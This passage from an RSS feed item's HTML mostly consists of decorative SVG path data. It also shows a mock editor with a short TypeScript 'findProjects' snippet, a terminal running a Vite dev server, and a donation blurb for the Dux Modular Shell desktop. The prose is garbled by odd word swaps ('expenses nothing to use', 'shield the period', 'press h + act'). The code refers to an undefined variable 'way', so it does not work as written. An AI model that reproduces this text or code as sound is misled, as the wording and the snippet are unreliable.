0.08271 0.291C0.08296 0.28882 0.08321 0.28663 0.08346 0.28445C0.08671 0.25637 0.10254 0.22991 0.12844 0.20929C0.12945 0.20848 0.13046 0.20768 0.13148 0.20687C0.1755 0.17182 0.2535 0.18172 0.27932 0.22562C0.28014 0.21813 0.28095 0.21064 0.28177 0.20314C0.28344 0.18777 0.28879 0.17273 0.29756 0.15874C0.30006 0.15476 0.30256 0.15077 0.30506 0.14678C0.321 0.12137 0.35474 0.10469 0.39248 0.10357C0.43061 0.10244 0.46602 0.11819 0.48264 0.14368C0.48843 0.15255 0.49421 0.16143 0.5 0.1703Z" transform="translate(70 -25) rotate(20 120 120) scale(240)" fill="white"></path><path d="M0.5 0.09813C0.50483 0.09442 0.50965 0.09071 0.51448 0.087C0.62763 0 0.78774 0.01042 0.88866 0.11134C0.98958 0.21226 1 0.37237 0.913 0.48552C0.90929 0.49035 0.90558 0.49517 0.90187 0.5C0.90558 0.50483 0.90929 0.50965 0.913 0.51448C1 0.62763 0.98958 0.78774 0.88866 0.88866C0.78774 0.98958 0.62763 1 0.51448 0.913C0.50965 0.90929 0.50483 0.90558 0.5 0.90187C0.49517 0.90558 0.49035 0.90929 0.48552 0.913C0.37237 1 0.21226 0.98958 0.11134 0.88866C0.01042 0.78774 0 0.62763 0.087 0.51448C0.09071 0.50965 0.09442 0.50483 0.09813 0.5C0.09442 0.49517 0.09071 0.49035 0.087 0.48552C0 0.37237 0.01042 0.21226 0.11134 0.11134C0.21226 0.01042 0.37237 0 0.48552 0.087C0.49035 0.09071 0.49517 0.09442 0.5 0.09813Z" transform="translate(10 125) rotate(-15 105 105) scale(210)" fill="white"></path><path d="M0.71652 0.8729C0.69965 0.88262 0.68396 0.89441 0.66983 0.90803C0.66933 0.90851 0.66883 0.90899 0.66833 0.90947C0.57443 1 0.42569 0.99987 0.33196 0.90917C0.30375 0.88188 0.26927 0.86194 0.23155 0.85109C0.23089 0.8509 0.23022 0.85071 0.22955 0.85051C0.1042 0.81446 0.02995 0.68558 0.06162 0.55906C0.07115 0.52098 0.07119 0.48115 0.06172 0.44306C0.06156 0.44239 0.06139 0.44172 0.06122 0.44104C0.02977 0.31446 0.10425 0.18571 0.22967 0.14988C0.2674 0.1391 0.30192 0.11922 0.33017 0.09197C0.33067 0.09149 0.33117 0.09101 0.33167 0.09053C0.42557 0 0.57431 0.00013 0.66804 0.09083C0.69625 0.11812 0.73073 0.13806 0.76845 0.14891C0.76911 0.1491 0.76978 0.14929 0.77045 0.14949C0.8958 0.18554 0.97005 0.31442 0.93838 0.44094C0.92885 0.47902 0.92881 0.51885 0.93828 0.55694C0.93844 0.55761 0.93861 0.55828 0.93878 0.55896C0.97023 0.68554 0.89575 0.81429 0.77033 0.85012C0.75146 0.85551 0.7334 0.86318 0.71652 0.8729Z" transform="translate(220 210) rotate(10 35 35) scale(70)" fill="white"></path><path d="M0.5 0.1703C0.50579 0.16143 0.51157 0.15255 0.51736 0.14368C0.53398 0.11819 0.56939 0.10244 0.60752 0.10357C0.64526 0.10469 0.679 0.12137 0.69494 0.14678C0.69744 0.15077 0.69994 0.15476 0.70244 0.15874C0.71121 0.17273 0.71656 0.18777 0.71823 0.20314C0.71905 0.21064 0.71986 0.21813 0.72068 0.22562C0.7465 0.18172 0.8245 0.17182 0.86852 0.20687C0.86954 0.20768 0.87055 0.20848 0.87156 0.20929C0.89746 0.22991 0.91329 0.25637 0.91654 0.28445C0.91679 0.28663 0.91704 0.28882 0.91729 0.291C0.92125 0.32529 0.90746 0.35941 0.87873 0.38641C0.88077 0.38636 0.8828 0.38631 0.88484 0.38626C0.91754 0.38544 0.94851 0.39713 0.96686 0.41723C0.98846 0.44089 1 0.46881 1 0.49738C1 0.49913 1 0.50087 1 0.50262C1 0.53119 0.98846 0.55911 0.96686 0.58277C0.94851 0.60287 0.91754 0.61456 0.88484 0.61374C0.8828 0.61369 0.88077 0.61364 0.87873 0.61359C0.90746 0.64059 0.92125 0.67471 0.91729 0.709C0.91704 0.71118 0.91679 0.71337 0.91654 0.71555C0.91329 0.74363 0.89746 0.77009 0.87156 0.79071C0.87055 0.79152 0.86954 0.79232 0.86852 0.79313C0.8245 0.82818 0.7465 0.81828 0.72068 0.77438C0.71986 0.78187 0.71905 0.78936 0.71823 0.79686C0.71656 0.81223 0.71121 0.82727 0.70244 0.84126C0.69994 0.84524 0.69744 0.84923 0.69494 0.85322C0.679 0.87863 0.64526 0.89531 0.60752 0.89643C0.56939 0.89756 0.53398 0.88181 0.51736 0.85632C0.51157 0.84745 0.50579 0.83857 0.5 0.8297C0.49421 0.83857 0.48843 0.84745 0.48264 0.85632C0.46602 0.88181 0.43061 0.89756 0.39248 0.89643C0.35474 0.89531 0.321 0.87863 0.30506 0.85322C0.30256 0.84923 0.30006 0.84524 0.29756 0.84126C0.28879 0.82727 0.28344 0.81223 0.28177 0.79686C0.28095 0.78936 0.28014 0.78187 0.27932 0.77438C0.2535 0.81828 0.1755 0.82818 0.13148 0.79313C0.13046 0.79232 0.12945 0.79152 0.12844 0.79071C0.10254 0.77009 0.08671 0.74363 0.08346 0.71555C0.08321 0.71337 0.08296 0.71118 0.08271 0.709C0.07875 0.67471 0.09254 0.64059 0.12127 0.61359C0.11923 0.61364 0.1172 0.61369 0.11516 0.61374C0.08246 0.61456 0.05149 0.60287 0.03314 0.58277C0.01154 0.55911 0 0.53119 0 0.50262C0 0.50087 0 0.49913 0 0.49738C0 0.46881 0.01154 0.44089 0.03314 0.41723C0.05149 0.39713 0.08246 0.38544 0.11516 0.38626C0.1172 0.38631 0.11923 0.38636 0.12127 0.38641C0.09254 0.35941 0.07875 0.32529 0.08271 0.291C0.08296 0.28882 0.08321 0.28663 0.08346 0.28445C0.08671 0.25637 0.10254 0.22991 0.12844 0.20929C0.12945 0.20848 0.13046 0.20768 0.13148 0.20687C0.1755 0.17182 0.2535 0.18172 0.27932 0.22562C0.28014 0.21813 0.28095 0.21064 0.28177 0.20314C0.28344 0.18777 0.28879 0.17273 0.29756 0.15874C0.30006 0.15476 0.30256 0.15077 0.30506 0.14678C0.321 0.12137 0.35474 0.10469 0.39248 0.10357C0.43061 0.10244 0.46602 0.11819 0.48264 0.14368C0.48843 0.15255 0.49421 0.16143 0.5 0.1703Z" transform="translate(70 -25) rotate(20 120 120) scale(240)" fill="var(--md-sys-color-tertiary-container)"></path></svg><div><p><span>&lt;/&gt;</span><span>workspace.ts &middot; Code</span><span><span>&minus;</span><span>&#9633;</span><span>&times;</span></span></p><div><p><span>EXPLORER</span><span>&#8964; studio</span><span>&#8964; src</span><span><b>TS</b> workspace.ts</span><span><b>TS</b> index.ts</span><span><b>{}</b> package.json</span><span><b>M</b> README.md</span></p><div><p><span><b>TS</b> workspace.ts <i>&times;</i></span><span>index.ts</span></p><p>src <span>&rsaquo;</span> workspace.ts</p><div><p><em>1</em><span>import</span> { readdir } <span>from</span> <span>'node:fs/promises'</span>;</p><p><em>2</em></p><p><em>3</em><span>const</span> extensions = [<span>'.qml'</span>, <span>'.ts'</span>, <span>'.go'</span>];</p><p><em>4</em></p><p><em>5</em><span>export async function</span> <span>findProjects</span>(path) {</p><p><em>6</em> <span>const</span> entries = <span>await</span> <span>readdir</span>(path);</p><p><em>7</em> <span>return</span> entries</p><p><em>8</em> .<span>filter</span>(name =&gt; !name.<span>startsWith</span>(<span>'.'</span>))</p><p><em>9</em> .<span>map</span>(name =&gt; ({ name, way }));</p><p><em>10</em>}</p><p><em>11</em></p><p><em>12</em><span>export const</span> formats = extensions.length;</p></div></div></div><p><span>&#9282; main* <span>&#10003;</span></span><span>UTF-8 <span>TypeScript</span></span></p></div><div><p><span>&#10095;_</span><span>Terminal</span><span><span>&minus;</span><span>&#9633;</span><span>&times;</span></span></p><div><p><span>~/projects/studio</span><span>&#9282; main</span></p><p><span>&#10095;</span> npm run dev</p><p><strong>VITE</strong><span>ready</span></p><p><span>&#10140;</span> Local: <span>http://localhost:5173/</span></p><p>press h + act to display help</p></div></div></div></div><figcaption>Matching colors, downward to the syntax.</figcaption></figure></div><svg width="0" height="0" aria-hidden="true" focusable="false"></svg><a href="https://en.mycoding.id/category/technology" target="_blank">Meet our sponsors<svg xmlns="http://www.w3.org/2000/svg" viewbox="0 -960 960 960" width="18" height="18" fill="currentColor" aria-hidden="true"><path d="M504-480 348-636q-11-11-11-28t11-28 28-11 28 11l184 184q6 6 8.5 13t2.5 15-2.5 15-8.5 13L404-268q-11 11-28 11t-28-11-11-28 11-28z"></path></svg></a><svg width="0" height="0" aria-hidden="true" focusable="false"><path d="M0.5 0.01415C0.53649 0.01415 0.57298 0.02726 0.60187 0.05348C0.63127 0.08015 0.66995 0.09423 0.70961 0.09269C0.78759 0.08967 0.85512 0.14634 0.86569 0.22366C0.87107 0.26298 0.89165 0.29863 0.92302 0.32295C0.98469 0.37076 1 0.45758 0.9584 0.5236C0.93724 0.55718 0.93009 0.59772 0.93849 0.63651C0.955 0.71278 0.91092 0.78913 0.83661 0.81296C0.79882 0.82508 0.76729 0.85154 0.74879 0.88666C0.71241 0.9557 0.62957 0.98585 0.55733 0.95634C0.52058 0.94134 0.47942 0.94134 0.44267 0.95634C0.37043 0.98585 0.28759 0.9557 0.25121 0.88666C0.23271 0.85154 0.20118 0.82508 0.16339 0.81296C0.08908 0.78913 0.045 0.71278 0.06151 0.63651C0.06991 0.59772 0.06276 0.55718 0.0416 0.5236C0 0.45758 0.01531 0.37076 0.07698 0.32295C0.10835 0.29863 0.12893 0.26298 0.13431 0.22366C0.14488 0.14634 0.21241 0.08967 0.29039 0.09269C0.33005 0.09423 0.36873 0.08015 0.39813 0.05348C0.42702 0.02726 0.46351 0.01415 0.5 0.01415Z"></path><path d="M0.5 0.09813C0.50483 0.09442 0.50965 0.09071 0.51448 0.087C0.62763 0 0.78774 0.01042 0.88866 0.11134C0.98958 0.21226 1 0.37237 0.913 0.48552C0.90929 0.49035 0.90558 0.49517 0.90187 0.5C0.90558 0.50483 0.90929 0.50965 0.913 0.51448C1 0.62763 0.98958 0.78774 0.88866 0.88866C0.78774 0.98958 0.62763 1 0.51448 0.913C0.50965 0.90929 0.50483 0.90558 0.5 0.90187C0.49517 0.90558 0.49035 0.90929 0.48552 0.913C0.37237 1 0.21226 0.98958 0.11134 0.88866C0.01042 0.78774 0 0.62763 0.087 0.51448C0.09071 0.50965 0.09442 0.50483 0.09813 0.5C0.09442 0.49517 0.09071 0.49035 0.087 0.48552C0 0.37237 0.01042 0.21226 0.11134 0.11134C0.21226 0.01042 0.37237 0 0.48552 0.087C0.49035 0.09071 0.49517 0.09442 0.5 0.09813Z"></path><path d="M0.5 0.00515C0.52561 0.00515 0.55123 0.01546 0.57001 0.03608C0.59493 0.06343 0.6335 0.07376 0.66875 0.06254C0.7219 0.04561 0.7781 0.07805 0.79001 0.13255C0.79792 0.16869 0.82615 0.19693 0.8623 0.20483C0.91679 0.21675 0.94923 0.27294 0.93231 0.32609C0.92108 0.36135 0.93142 0.39992 0.95877 0.42484C1 0.4624 1 0.52729 0.95877 0.56485C0.93142 0.58978 0.92108 0.62834 0.93231 0.6636C0.94923 0.71675 0.91679 0.77294 0.8623 0.78486C0.82615 0.79277 0.79792 0.821 0.79001 0.85715C0.7781 0.91164 0.7219 0.94408 0.66875 0.92716C0.6335 0.91593 0.59493 0.92626 0.57001 0.95361C0.53244 0.99485 0.46756 0.99485 0.42999 0.95361C0.40507 0.92626 0.3665 0.91593 0.33125 0.92716C0.2781 0.94408 0.2219 0.91164 0.20999 0.85715C0.20208 0.821 0.17385 0.79277 0.1377 0.78486C0.08321 0.77294 0.05077 0.71675 0.06769 0.6636C0.07892 0.62834 0.06858 0.58978 0.04123 0.56485C0 0.52729 0 0.4624 0.04123 0.42484C0.06858 0.39992 0.07892 0.36135 0.06769 0.32609C0.05077 0.27294 0.08321 0.21675 0.1377 0.20483C0.17385 0.19693 0.20208 0.16869 0.20999 0.13255C0.2219 0.07805 0.2781 0.04561 0.33125 0.06254C0.3665 0.07376 0.40507 0.06343 0.42999 0.03608C0.44877 0.01546 0.47439 0.00515 0.5 0.00515Z"></path><path d="M0.99691 0.5C0.99691 0.51795 0.99072 0.53589 0.97834 0.55042C0.95303 0.58011 0.92773 0.6098 0.90242 0.6395C0.89181 0.65195 0.8854 0.66742 0.8841 0.68373C0.881 0.72262 0.8779 0.76151 0.87479 0.8004C0.87176 0.83845 0.84154 0.86866 0.80349 0.8717C0.7646 0.8748 0.72571 0.8779 0.68683 0.88101C0.67052 0.88231 0.65504 0.88872 0.64259 0.89933C0.6129 0.92463 0.58321 0.94994 0.55351 0.97524C0.52446 1 0.48173 1 0.45268 0.97524C0.42298 0.94994 0.39329 0.92463 0.3636 0.89933C0.35115 0.88872 0.33567 0.88231 0.31936 0.88101C0.28048 0.8779 0.24159 0.8748 0.2027 0.8717C0.16465 0.86866 0.13443 0.83845 0.1314 0.8004C0.12829 0.76151 0.12519 0.72262 0.12209 0.68373C0.12079 0.66742 0.11437 0.65195 0.10377 0.6395C0.07846 0.6098 0.05316 0.58011 0.02785 0.55042C0.00309 0.52137 0.00309 0.47863 0.02785 0.44958C0.05316 0.41989 0.07846 0.3902 0.10377 0.3605C0.11437 0.34805 0.12079 0.33258 0.12209 0.31627C0.12519 0.27738 0.12829 0.23849 0.1314 0.1996C0.13443 0.16155 0.16465 0.13134 0.2027 0.1283C0.24159 0.1252 0.28048 0.1221 0.31936 0.11899C0.33567 0.11769 0.35115 0.11128 0.3636 0.10067C0.39329 0.07537 0.42298 0.05006 0.45268 0.02476C0.48173 0 0.52446 0 0.55351 0.02476C0.58321 0.05006 0.6129 0.07537 0.64259 0.10067C0.65504 0.11128 0.67052 0.11769 0.68683 0.11899C0.72571 0.1221 0.7646 0.1252 0.80349 0.1283C0.84154 0.13134 0.87176 0.16155 0.87479 0.1996C0.8779 0.23849 0.881 0.27738 0.8841 0.31627C0.8854 0.33258 0.89181 0.34805 0.90242 0.3605C0.92773 0.3902 0.95303 0.41989 0.97834 0.44958C0.99072 0.46411 0.99691 0.48205 0.99691 0.5Z"></path><path d="M0.18664 0.27242C0.19362 0.26276 0.19729 0.2507 0.19633 0.23807C0.19403 0.20813 0.19174 0.1782 0.18945 0.14826C0.18651 0.10985 0.22501 0.08176 0.26069 0.09629C0.28866 0.10767 0.31662 0.11905 0.34459 0.13043C0.36806 0.13999 0.395 0.13118 0.40828 0.1096C0.42402 0.08403 0.43976 0.05847 0.4555 0.0329C0.4757 0.0001 0.52336 0 0.54369 0.03273C0.55963 0.05837 0.57556 0.08402 0.59149 0.10967C0.60487 0.13119 0.63184 0.1399 0.65527 0.13025C0.68303 0.11882 0.71079 0.10739 0.73855 0.09596C0.77418 0.08129 0.81279 0.10922 0.81001 0.14765C0.80782 0.17776 0.80564 0.20788 0.80345 0.23799C0.80162 0.26327 0.81833 0.28616 0.84295 0.29213C0.87213 0.2992 0.90131 0.30627 0.93049 0.31334C0.96793 0.32241 0.98275 0.36771 0.95791 0.39716C0.93844 0.42024 0.91897 0.44332 0.8995 0.4664C0.88316 0.48577 0.88322 0.51411 0.89964 0.53341C0.91909 0.55628 0.93854 0.57915 0.95799 0.60202C0.98295 0.63137 0.96831 0.67673 0.9309 0.68595C0.90159 0.69318 0.87227 0.70041 0.84296 0.70764C0.81835 0.7137 0.80174 0.73667 0.80367 0.76193C0.80597 0.79187 0.80826 0.8218 0.81055 0.85174C0.81349 0.89015 0.77499 0.91824 0.73931 0.90371C0.71134 0.89233 0.68338 0.88095 0.65541 0.86957C0.63194 0.86001 0.605 0.86882 0.59172 0.8904C0.57598 0.91597 0.56024 0.94153 0.5445 0.9671C0.5243 0.9999 0.47664 1 0.45631 0.96727C0.44037 0.94163 0.42444 0.91598 0.40851 0.89033C0.39513 0.86881 0.36816 0.8601 0.34473 0.86975C0.31697 0.88118 0.28921 0.89261 0.26145 0.90404C0.22582 0.91871 0.18721 0.89078 0.18999 0.85235C0.19218 0.82224 0.19436 0.79212 0.19655 0.76201C0.19838 0.73673 0.18167 0.71384 0.15705 0.70787C0.12787 0.7008 0.09869 0.69373 0.06951 0.68666C0.03207 0.67759 0.01725 0.63229 0.04209 0.60284C0.06156 0.57976 0.08103 0.55668 0.1005 0.5336C0.11684 0.51423 0.11678 0.48589 0.10036 0.46659C0.08091 0.44372 0.06146 0.42085 0.04201 0.39798C0.01705 0.36863 0.03169 0.32327 0.0691 0.31405C0.09841 0.30682 0.12773 0.29959 0.15704 0.29236C0.16934 0.28933 0.17965 0.28207 0.18664 0.27242Z"></path><path d="M0.49949 0.99998C0.49138 0.99997 0.48327 0.99954 0.47519 0.99871C0.43561 0.99463 0.39762 0.97722 0.32164 0.94239C0.26002 0.91415 0.19841 0.88591 0.13679 0.85767C0.05274 0.81914 0.00417 0.72981 0.01753 0.63832C0.03136 0.54361 0.0452 0.4489 0.05903 0.35418C0.06799 0.29284 0.10152 0.23779 0.15191 0.20168C0.2273 0.14764 0.3027 0.09361 0.37809 0.03958C0.41404 0.01381 0.45717 0 0.5014 0.00008C0.54562 0.00017 0.5887 0.01415 0.62455 0.04005C0.69974 0.09437 0.77492 0.14869 0.85011 0.20301C0.90036 0.23931 0.93368 0.2945 0.94241 0.35587C0.95588 0.45064 0.96935 0.5454 0.98282 0.64017C0.99583 0.7317 0.94692 0.82085 0.86272 0.85905C0.801 0.88706 0.73927 0.91507 0.67755 0.94307C0.60143 0.97761 0.56338 0.99487 0.52378 0.9988C0.5157 0.99961 0.50759 1 0.49949 0.99998Z"></path></svg><h2 id="contributor-strip-title">Built in the open by our contributors</h2><a href="https://en.mycoding.id/category/technology" target="_blank">Meet our contributors<svg xmlns="http://www.w3.org/2000/svg" viewbox="0 -960 960 960" width="18" height="18" fill="currentColor" aria-hidden="true"><path d="M504-480 348-636q-11-11-11-28t11-28 28-11 28 11l184 184q6 6 8.5 13t2.5 15-2.5 15-8.5 13L404-268q-11 11-28 11t-28-11-11-28 11-28z"></path></svg></a><div><div><h2>Free and open source.<br><span>Kept going by you.</span></h2><p>Dux Modular Shell expenses nothing to use. If it has earned a place on your desktop, a tip helps shield the period and infrastructure that keep releases coming.</p></div></div></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/dux-free-open-source-wayland-desktop-shell-with-file-manager-and-theming-76197</guid> <pubDate>Sun, 08 Nov 2026 20:08:51 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> </channel> </rss>